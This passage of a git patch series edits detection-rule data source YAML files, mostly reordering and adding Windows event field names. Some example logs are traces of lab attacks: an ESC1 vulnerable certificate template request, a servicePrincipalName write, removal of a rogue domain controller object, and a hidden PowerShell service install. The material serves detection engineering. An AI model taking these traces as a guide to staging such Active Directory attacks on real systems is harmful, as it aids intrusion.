Task + - TaskCategory + - ThreadID + - timestamp + - user - vendor - vendor_product + - Version output_fields: - dest example_log: 4876001280500x802000000000000015379961Securitywin-dc-mhaag-attack-range-84.attackrange.local1S-1-5-21-2690122726-1172718210-436210976-500administratorATTACKRANGE0xeb075 diff --git a/data_sources/windows_event_log_security_4886.yml b/data_sources/windows_event_log_security_4886.yml index 29fd942c97..37044c5398 100644 --- a/data_sources/windows_event_log_security_4886.yml +++ b/data_sources/windows_event_log_security_4886.yml @@ -20,51 +20,41 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Attributes - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - RecordNumber - - RequestId - - Requester - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name - name + - Opcode + - ProcessID - product - punct + - RecordNumber + - Requester + - RequestId + - severity + - severity_id - signature - signature_id - source @@ -72,14 +62,19 @@ fields: - splunk_server - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest example_log: 4886001280500x802000000000000015379925Securitywin-dc-mhaag-attack-range-84.attackrange.local7ATTACKRANGE\administrator diff --git a/data_sources/windows_event_log_security_4887.yml b/data_sources/windows_event_log_security_4887.yml index d76820b4e0..fb97bf3ad6 100644 --- a/data_sources/windows_event_log_security_4887.yml +++ b/data_sources/windows_event_log_security_4887.yml @@ -20,69 +20,64 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - Attributes - Channel - Computer + - dest - Disposition + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - RecordNumber - - RequestId - - Requester - - Subject - - SubjectKeyIdentifier - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name - name + - Opcode + - ProcessID - product - punct + - RecordNumber + - Requester + - RequestId + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - status + - Subject - subject + - SubjectKeyIdentifier + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest example_log: 4887001280500x80200000000000001830974609Securitycert_authority.attack_range.local7attack_range\attack_userCertificateTemplate:VulnerableTemplate_ESC1 diff --git a/data_sources/windows_event_log_security_4946.yml b/data_sources/windows_event_log_security_4946.yml index f247ab52d0..b2c4999145 100644 --- a/data_sources/windows_event_log_security_4946.yml +++ b/data_sources/windows_event_log_security_4946.yml @@ -15,14 +15,62 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - ActivityID + - app + - Channel + - Computer + - dest + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml - EventID - EventRecordID + - eventtype + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Name + - name + - object_attrs + - Opcode - ProcessID - - ThreadID - - Computer + - product - ProfileChanged - - RuleName + - punct + - RecordNumber - RuleId + - RuleName + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - status + - subject + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::action + - tag::eventtype + - Task + - TaskCategory + - ThreadID + - timestamp + - vendor + - vendor_product + - Version output_fields: - RuleName - signature diff --git a/data_sources/windows_event_log_security_4947.yml b/data_sources/windows_event_log_security_4947.yml index 6bf8d9f631..fed89af166 100644 --- a/data_sources/windows_event_log_security_4947.yml +++ b/data_sources/windows_event_log_security_4947.yml @@ -15,14 +15,62 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - ActivityID + - app + - Channel + - Computer + - dest + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml - EventID - EventRecordID + - eventtype + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Name + - name + - object_attrs + - Opcode - ProcessID - - ThreadID - - Computer + - product - ProfileChanged - - RuleName + - punct + - RecordNumber - RuleId + - RuleName + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - status + - subject + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::action + - tag::eventtype + - Task + - TaskCategory + - ThreadID + - timestamp + - vendor + - vendor_product + - Version output_fields: - RuleName - signature diff --git a/data_sources/windows_event_log_security_4948.yml b/data_sources/windows_event_log_security_4948.yml index 34f0f502fc..178668a23b 100644 --- a/data_sources/windows_event_log_security_4948.yml +++ b/data_sources/windows_event_log_security_4948.yml @@ -15,14 +15,62 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - ActivityID + - app + - Channel + - Computer + - dest + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventData_Xml - EventID - EventRecordID + - eventtype + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Name + - name + - object_attrs + - Opcode - ProcessID - - ThreadID - - Computer + - product - ProfileChanged - - RuleName + - punct + - RecordNumber - RuleId + - RuleName + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - status + - subject + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::action + - tag::eventtype + - Task + - TaskCategory + - ThreadID + - timestamp + - vendor + - vendor_product + - Version output_fields: - RuleName - signature diff --git a/data_sources/windows_event_log_security_5136.yml b/data_sources/windows_event_log_security_5136.yml index 987a9f9501..c522cf9766 100644 --- a/data_sources/windows_event_log_security_5136.yml +++ b/data_sources/windows_event_log_security_5136.yml @@ -20,7 +20,9 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - AppCorrelationID - AttributeLDAPDisplayName - AttributeSyntaxOID @@ -29,75 +31,70 @@ fields: - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain - DSName - DSType + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name - ObjectClass - ObjectDN - ObjectGUID - - OpCorrelationID - Opcode + - OpCorrelationID - OperationType - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest example_log: 5136001408100x80200000000000001997365Securitywin-dc-mvelazco-02713-392.attackrange.local{73C96723-504B-4F15-830A-F4DDB1C48F2E}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x95675attackrange.local%%14676CN=DANNIE_CERVANTES,OU=ServiceAccounts,OU=OGC,OU=Stage,DC=attackrange,DC=local{15AFB68A-679C-4F5B-AC18-4D988B3B3E44}userservicePrincipalName2.5.5.12adm/srv1.attackrange.local%%14674 diff --git a/data_sources/windows_event_log_security_5137.yml b/data_sources/windows_event_log_security_5137.yml index f52138e52a..55587393a5 100644 --- a/data_sources/windows_event_log_security_5137.yml +++ b/data_sources/windows_event_log_security_5137.yml @@ -20,79 +20,77 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - ActivityID + - app - AppCorrelationID - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain - DSName - DSType + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords - Level + - linecount - Logon_ID - Name + - name - ObjectClass - ObjectDN - ObjectGUID - - OpCorrelationID - Opcode + - OpCorrelationID - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest example_log: 5137001408100x8020000000000000170140Securityar-win-dc.attackrange.local{681cac8c-b5a4-48fd-be93-4339996bd94d}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x8561aattackrange.local%%14676CN={2C4C7CD3-7AA5-4E84-89B5-CE9FC75611D4},CN=Policies,CN=System,DC=attackrange,DC=local{3e7ae4de-29a6-41c1-b27c-bf9548b0444c}groupPolicyContainer diff --git a/data_sources/windows_event_log_security_5140.yml b/data_sources/windows_event_log_security_5140.yml index f5aa6f25df..4e095e1a89 100644 --- a/data_sources/windows_event_log_security_5140.yml +++ b/data_sources/windows_event_log_security_5140.yml @@ -22,65 +22,54 @@ fields: - _time - AccessList - AccessMask + - action + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - file_name + - file_path - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level + - linecount - Logon_ID - Name + - name - ObjectType - Opcode - ProcessID - - RecordNumber - - ShareName - - Source_Port - - Source_Workstation - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - file_name - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber - session_id + - severity + - severity_id + - ShareLocalPath + - ShareName - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src @@ -88,17 +77,28 @@ fields: - src_nt_domain - src_nt_host - src_port + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - user - vendor - vendor_product + - Version output_fields: - dest field_mappings: diff --git a/data_sources/windows_event_log_security_5141.yml b/data_sources/windows_event_log_security_5141.yml index a5104efd60..c1c2aba3b6 100644 --- a/data_sources/windows_event_log_security_5141.yml +++ b/data_sources/windows_event_log_security_5141.yml @@ -20,80 +20,78 @@ supported_TA: version: 11.0.3 fields: - _time + - action - ActivityID + - app - AppCorrelationID - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain - DSName - DSType + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - Guid + - host + - id + - index - Keywords + - Level + - linecount - Logon_ID - Name + - name - ObjectClass - ObjectDN - ObjectGUID - - OpCorrelationID - Opcode + - OpCorrelationID - ProcessID - - RecordNumber - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - TreeDelete - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - product - punct + - RecordNumber - session_id + - severity + - severity_id - signature - signature_id - source - sourcetype - splunk_server - src_nt_domain + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp + - TreeDelete - vendor - vendor_product + - Version output_fields: - dest example_log: 5141001408100x8020000000000000670908Securitywin-dc-range-02713-392.attackrange.local{A3058236-A662-445E-9BEB-DE9210B143AB}-ATTACKRANGE\AdministratorAdministratorATTACKRANGE0x978ac22attackrange.local%%14676CN=NTDS Settings,CN=WIN-HOST-ROGUE,CN=Servers,CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=attackrange,DC=local{48387E55-8777-403F-BC63-2A38289A6BBF}nTDSDSA%%14679 diff --git a/data_sources/windows_event_log_security_5145.yml b/data_sources/windows_event_log_security_5145.yml index aa637f928a..896a63411b 100644 --- a/data_sources/windows_event_log_security_5145.yml +++ b/data_sources/windows_event_log_security_5145.yml @@ -23,68 +23,55 @@ fields: - AccessList - AccessMask - AccessReason + - action + - app - Caller_Domain - Caller_User_Name - Channel - Computer + - dest + - dest_nt_domain + - dvc + - dvc_nt_host - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype + - file_name + - file_path - Guid + - host + - id + - index - IpAddress - IpPort - Keywords - Level + - linecount - Logon_ID - Name + - name - ObjectType - Opcode - ProcessID + - product + - punct - RecordNumber - RelativeTargetName + - session_id + - severity + - severity_id - ShareLocalPath - ShareName - - Source_Port - - Source_Workstation - - SubjectDomainName - - SubjectLogonId - - SubjectUserName - - SubjectUserSid - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - file_name - - file_path - - host - - id - - index - - linecount - - name - - product - - punct - - session_id - signature - signature_id - source + - Source_Port + - Source_Workstation - sourcetype - splunk_server - src @@ -92,17 +79,27 @@ fields: - src_nt_domain - src_nt_host - src_port + - src_subject_user_id - src_user - status - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest field_mappings: diff --git a/data_sources/windows_event_log_security_5447.yml b/data_sources/windows_event_log_security_5447.yml index d1f16649a7..9fb7ff7831 100644 --- a/data_sources/windows_event_log_security_5447.yml +++ b/data_sources/windows_event_log_security_5447.yml @@ -21,80 +21,77 @@ supported_TA: fields: - _time - Action + - action - ActivityID + - app - CalloutKey - CalloutName - ChangeType - Channel - Computer - Conditions + - dest + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time - EventCode - EventData_Xml - EventID - EventRecordID + - eventtype - FilterId - FilterKey - FilterName - FilterType - Guid + - host + - id + - index - Keywords - LayerId - LayerKey - LayerName - Level + - linecount - Name + - name - Opcode + - process_id - ProcessID - ProcessId + - product - ProviderKey - ProviderName - - RecordNumber - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserName - - UserSid - - Version - - Weight - - action - - app - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - - name - - product - punct + - RecordNumber + - severity + - severity_id - signature - signature_id - source + - SourceName - sourcetype - splunk_server - status - subject + - System_Props_Xml + - SystemTime - ta_windows_action - tag - tag::action - tag::eventtype - - timeendpos - - timestartpos - - user + - Task + - TaskCategory + - ThreadID + - timestamp + - UserName + - UserSid - vendor - vendor_product + - Version + - Weight output_fields: - dest example_log: | diff --git a/data_sources/windows_event_log_system_104.yml b/data_sources/windows_event_log_system_104.yml index 2441f3fffb..8ce31d96ee 100644 --- a/data_sources/windows_event_log_system_104.yml +++ b/data_sources/windows_event_log_system_104.yml @@ -14,6 +14,73 @@ supported_TA: version: 11.0.3 fields: - _time + - action + - app + - Caller_User_Name + - change_type + - Channel + - Computer + - dest + - dvc + - dvc_nt_host + - Error_Code + - event_id + - event_time + - EventCode + - EventID + - EventRecordID + - eventtype + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - LogFileCleared_Xml + - Name + - name + - object + - object_attrs + - object_category + - Opcode + - ProcessID + - product + - punct + - RecordNumber + - result + - severity + - severity_id + - signature + - signature_id + - source + - sourcetype + - splunk_server + - src_user + - status + - subject + - SubjectDomainName + - SubjectLogonId + - SubjectUserName + - SubjectUserSid + - System_Props_Xml + - SystemTime + - ta_windows_action + - tag + - tag::eventtype + - Task + - TaskCategory + - ThreadID + - timestamp + - user + - user_data_channel + - user_id + - user_name + - UserData_Xml + - UserID + - vendor + - vendor_product + - Version output_fields: - dest example_log: '' diff --git a/data_sources/windows_event_log_system_7036.yml b/data_sources/windows_event_log_system_7036.yml index ef0de6543d..5ef32337cf 100644 --- a/data_sources/windows_event_log_system_7036.yml +++ b/data_sources/windows_event_log_system_7036.yml @@ -22,59 +22,53 @@ fields: - _time - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventRecordID - EventSourceName - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - Qualifiers - - RecordNumber - - ServiceName - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - Version - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name + - Opcode - param1 - param2 + - ProcessID - product - punct + - Qualifiers + - RecordNumber - service - service_name + - ServiceName + - severity + - severity_id - signature_id - source - sourcetype - splunk_server - status + - System_Props_Xml + - SystemTime - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - vendor - vendor_product + - Version output_fields: - dest example_log: 703604000x8080000000000000168530Systemar-win-dc.attackrange.localsppsvcstopped7300700070007300760063002F0031000000 diff --git a/data_sources/windows_event_log_system_7040.yml b/data_sources/windows_event_log_system_7040.yml index 3e0518531c..4a9bb03e41 100644 --- a/data_sources/windows_event_log_system_7040.yml +++ b/data_sources/windows_event_log_system_7040.yml @@ -22,63 +22,57 @@ fields: - _time - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventRecordID - EventSourceName - - Guid - - Keywords - - Level - - Name - - Opcode - - ProcessID - - Qualifiers - - RecordNumber - - ServiceName - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserID - - Version - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - eventtype + - Guid - host - id - index + - Keywords + - Level - linecount + - Name + - Opcode - param1 - param2 - param3 - param4 + - ProcessID - product - punct + - Qualifiers + - RecordNumber - service - service_name + - ServiceName + - severity + - severity_id - signature_id - source - sourcetype - splunk_server - start_mode + - System_Props_Xml + - SystemTime - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - user_id + - UserID - vendor - vendor_product + - Version output_fields: - dest example_log: 704004000x8080000000000000168231Systemar-win-dc.attackrange.localPrint Spoolerdemand startdisabledSpooler diff --git a/data_sources/windows_event_log_system_7045.yml b/data_sources/windows_event_log_system_7045.yml index eac759b2d8..27826f43d9 100644 --- a/data_sources/windows_event_log_system_7045.yml +++ b/data_sources/windows_event_log_system_7045.yml @@ -23,62 +23,58 @@ fields: - AccountName - Channel - Computer + - dest + - dvc + - dvc_nt_host - Error_Code + - event_id - EventCode - EventData_Xml - EventRecordID - EventSourceName + - eventtype - Guid + - host + - id - ImagePath + - index - Keywords - Level + - linecount - Name - Opcode - ProcessID - - Qualifiers - - RecordNumber - - ServiceName - - ServiceType - - StartType - - SystemTime - - System_Props_Xml - - Task - - ThreadID - - UserID - - Version - - date_hour - - date_mday - - date_minute - - date_month - - date_second - - date_wday - - date_year - - date_zone - - dest - - dvc - - dvc_nt_host - - event_id - - eventtype - - host - - id - - index - - linecount - product - punct + - Qualifiers + - RecordNumber - service - service_name + - service_path + - ServiceName + - ServiceType + - severity + - severity_id - signature_id - source - sourcetype - splunk_server - start_mode + - StartType + - status + - System_Props_Xml + - SystemTime - tag - tag::eventtype - - timeendpos - - timestartpos + - Task + - TaskCategory + - ThreadID + - timestamp - user_id + - UserID - vendor - vendor_product + - Version output_fields: - dest example_log: 704504000x8080000000000000168145Systemar-win-dc.attackrange.localKrbSCMpowershell.exe -WindowStyle Hiddenestno' diff --git a/data_sources/windows_event_log_taskscheduler_201.yml b/data_sources/windows_event_log_taskscheduler_201.yml index e429edceb1..1035d51602 100644 --- a/data_sources/windows_event_log_taskscheduler_201.yml +++ b/data_sources/windows_event_log_taskscheduler_201.yml @@ -14,6 +14,51 @@ supported_TA: version: 11.0.3 fields: - _time + - ActionName + - ActivityID + - Channel + - Computer + - dvc + - dvc_nt_host + - EnginePID + - event_id + - EventCode + - EventData_Xml + - EventID + - EventRecordID + - eventtype + - Guid + - host + - id + - index + - Keywords + - Level + - linecount + - Name + - Opcode + - ProcessID + - punct + - RecordNumber + - severity + - severity_id + - signature_id + - source + - sourcetype + - splunk_server + - System_Props_Xml + - SystemTime + - tag + - tag::eventtype + - Task + - TaskCategory + - TaskInstanceId + - TaskName + - ThreadID + - timestamp + - user_id + - UserID + - vendor_product + - Version output_fields: - dest example_log: '' From ff5256d94083fb66f7bb8685c73988d77f19505b Mon Sep 17 00:00:00 2001 From: nasbench <8741929+nasbench@users.noreply.github.com> Date: Wed, 14 Oct 2026 19:24:51 +0200 Subject: [PATCH 2/4] fix indent issue --- data_sources/aws_cloudtrail.yml | 1 - data_sources/azure_active_directory.yml | 1 - data_sources/o365.yml | 1 - 3 files changed, 3 deletions(-) diff --git a/data_sources/aws_cloudtrail.yml b/data_sources/aws_cloudtrail.yml index 21f051e912..e8199c06bb 100644 --- a/data_sources/aws_cloudtrail.yml +++ b/data_sources/aws_cloudtrail.yml @@ -8,7 +8,6 @@ description: All AWS CloudTrail events source: aws_cloudtrail sourcetype: aws:cloudtrail separator: eventName - fields: - _time - app diff --git a/data_sources/azure_active_directory.yml b/data_sources/azure_active_directory.yml index 220119babb..e2e57075cb 100644 --- a/data_sources/azure_active_directory.yml +++ b/data_sources/azure_active_directory.yml @@ -8,7 +8,6 @@ description: All Azure Active Directory events source: Azure AD sourcetype: azure:monitor:aad separator: operationName - fields: - _time - action diff --git a/data_sources/o365.yml b/data_sources/o365.yml index 599f082be1..5e107d02d0 100644 --- a/data_sources/o365.yml +++ b/data_sources/o365.yml @@ -14,7 +14,6 @@ mitre_components: source: o365 sourcetype: o365:management:activity separator: Operation - fields: - _time - action From 2274fe08958073be5933cb57de98b4e29a9a0b0b Mon Sep 17 00:00:00 2001 From: nasbench <8741929+nasbench@users.noreply.github.com> Date: Wed, 14 Oct 2026 19:54:30 +0200 Subject: [PATCH 3/4] update example log entries --- data_sources/asl_aws_cloudtrail.yml | 3 + data_sources/aws_bedrock_claude.yml | 3 +- data_sources/aws_cloudtrail.yml | 3 + data_sources/aws_cloudtrail_consolelogin.yml | 3 +- .../aws_cloudtrail_createaccesskey.yml | 3 +- data_sources/aws_cloudtrail_createkey.yml | 3 +- .../aws_cloudtrail_createnetworkaclentry.yml | 3 +- .../aws_cloudtrail_createpolicyversion.yml | 3 +- .../aws_cloudtrail_createsnapshot.yml | 3 +- .../aws_cloudtrail_deletedetector.yml | 3 +- data_sources/aws_cloudtrail_deletegroup.yml | 3 +- data_sources/aws_cloudtrail_deleteipset.yml | 3 +- ..._cloudtrail_deleteloggingconfiguration.yml | 3 +- .../aws_cloudtrail_deleteloggroup.yml | 3 +- .../aws_cloudtrail_deletelogstream.yml | 3 +- .../aws_cloudtrail_deletenetworkaclentry.yml | 3 +- data_sources/aws_cloudtrail_deletepolicy.yml | 3 +- data_sources/aws_cloudtrail_deleterule.yml | 3 +- .../aws_cloudtrail_deleterulegroup.yml | 3 +- data_sources/aws_cloudtrail_deletetrail.yml | 3 +- data_sources/aws_cloudtrail_deletewebacl.yml | 3 +- ...s_cloudtrail_describeimagescanfindings.yml | 5 +- ...s_cloudtrail_describesnapshotattribute.yml | 3 +- .../aws_cloudtrail_getpassworddata.yml | 3 +- .../aws_cloudtrail_modifydbinstance.yml | 3 +- .../aws_cloudtrail_modifyimageattribute.yml | 3 +- ...aws_cloudtrail_modifysnapshotattribute.yml | 3 +- .../aws_cloudtrail_putbucketlifecycle.yml | 3 +- data_sources/aws_cloudtrail_putimage.yml | 3 +- data_sources/aws_cloudtrail_putkeypolicy.yml | 3 +- .../aws_cloudtrail_replacenetworkaclentry.yml | 3 +- ...aws_cloudtrail_setdefaultpolicyversion.yml | 3 +- data_sources/aws_cloudtrail_stoplogging.yml | 3 +- .../aws_cloudtrail_updateloginprofile.yml | 3 +- data_sources/aws_cloudtrail_updatetrail.yml | 3 +- data_sources/azure_active_directory.yml | 3 + ...p_role_assignment_to_service_principal.yml | 3 +- ...re_active_directory_add_member_to_role.yml | 3 +- ...ive_directory_add_owner_to_application.yml | 3 +- ...active_directory_add_service_principal.yml | 3 +- ...active_directory_add_unverified_domain.yml | 3 +- ...ctive_directory_consent_to_application.yml | 3 +- ...irectory_disable_strong_authentication.yml | 3 +- .../azure_active_directory_enable_account.yml | 3 +- ..._active_directory_invite_external_user.yml | 3 +- ...e_directory_microsoftgraphactivitylogs.yml | 3 +- ...directory_noninteractiveusersigninlogs.yml | 3 +- ...ve_directory_reset_password_(by_admin).yml | 3 +- ...ve_directory_set_domain_authentication.yml | 3 +- ...zure_active_directory_sign_in_activity.yml | 3 +- ...re_active_directory_update_application.yml | 3 +- ..._directory_update_authorization_policy.yml | 3 +- .../azure_active_directory_update_user.yml | 3 +- ...irectory_user_registered_security_info.yml | 3 +- ..._or_update_an_azure_automation_account.yml | 3 +- ..._or_update_an_azure_automation_runbook.yml | 3 +- ..._or_update_an_azure_automation_webhook.yml | 3 +- data_sources/azure_monitor_activity.yml | 3 +- .../crowdstrike_falcon_stream_alert.yml | 3 +- data_sources/g_suite_gmail.yml | 3 +- data_sources/google_workspace.yml | 3 +- data_sources/linux_auditd_add_user.yml | 4 +- data_sources/linux_auditd_cwd.yml | 3 +- data_sources/linux_auditd_daemon_abort.yml | 3 +- data_sources/linux_auditd_daemon_end.yml | 3 +- data_sources/linux_auditd_daemon_start.yml | 3 +- data_sources/linux_auditd_execve.yml | 3 +- data_sources/linux_auditd_path.yml | 3 +- data_sources/linux_auditd_proctitle.yml | 3 +- data_sources/linux_auditd_service_stop.yml | 4 +- data_sources/linux_secure.yml | 3 +- data_sources/m365_copilot_graph_api.yml | 3 +- data_sources/o365.yml | 3 + ...add_app_role_assignment_grant_to_user_.yml | 3 +- ..._role_assignment_to_service_principal_.yml | 3 +- data_sources/o365_add_mailboxpermission.yml | 3 +- data_sources/o365_add_member_to_role_.yml | 3 +- .../o365_add_owner_to_application_.yml | 3 +- data_sources/o365_add_service_principal_.yml | 3 +- data_sources/o365_change_user_license_.yml | 3 +- data_sources/o365_consent_to_application_.yml | 3 +- .../o365_disable_strong_authentication_.yml | 3 +- data_sources/o365_mailitemsaccessed.yml | 3 +- data_sources/o365_modifyfolderpermissions.yml | 3 +- .../o365_set_company_information_.yml | 3 +- data_sources/o365_update_application_.yml | 3 +- .../o365_update_authorization_policy_.yml | 3 +- data_sources/o365_update_user_.yml | 3 +- data_sources/o365_userloggedin.yml | 3 +- data_sources/o365_userloginfailed.yml | 3 +- .../powershell_script_block_logging_4104.yml | 3 +- data_sources/sysmon_eventid_10.yml | 3 +- data_sources/sysmon_eventid_11.yml | 3 +- data_sources/sysmon_eventid_12.yml | 3 +- data_sources/sysmon_eventid_13.yml | 3 +- data_sources/sysmon_eventid_14.yml | 3 +- data_sources/sysmon_eventid_15.yml | 3 +- data_sources/sysmon_eventid_17.yml | 3 +- data_sources/sysmon_eventid_18.yml | 3 +- data_sources/sysmon_eventid_22.yml | 3 +- data_sources/sysmon_eventid_23.yml | 3 +- data_sources/sysmon_eventid_26.yml | 3 +- data_sources/sysmon_eventid_29.yml | 3 +- data_sources/sysmon_eventid_3.yml | 3 +- data_sources/sysmon_eventid_6.yml | 3 +- data_sources/sysmon_eventid_7.yml | 3 +- data_sources/sysmon_eventid_8.yml | 3 +- .../windows_active_directory_admon.yml | 86 ++++++- .../windows_event_log_application_15457.yml | 3 +- .../windows_event_log_application_2282.yml | 3 +- .../windows_event_log_application_3000.yml | 3 +- .../windows_event_log_application_8128.yml | 3 +- ...ws_event_log_appxdeployment_server_400.yml | 3 +- ...ws_event_log_appxdeployment_server_854.yml | 3 +- ...ws_event_log_appxdeployment_server_855.yml | 3 +- 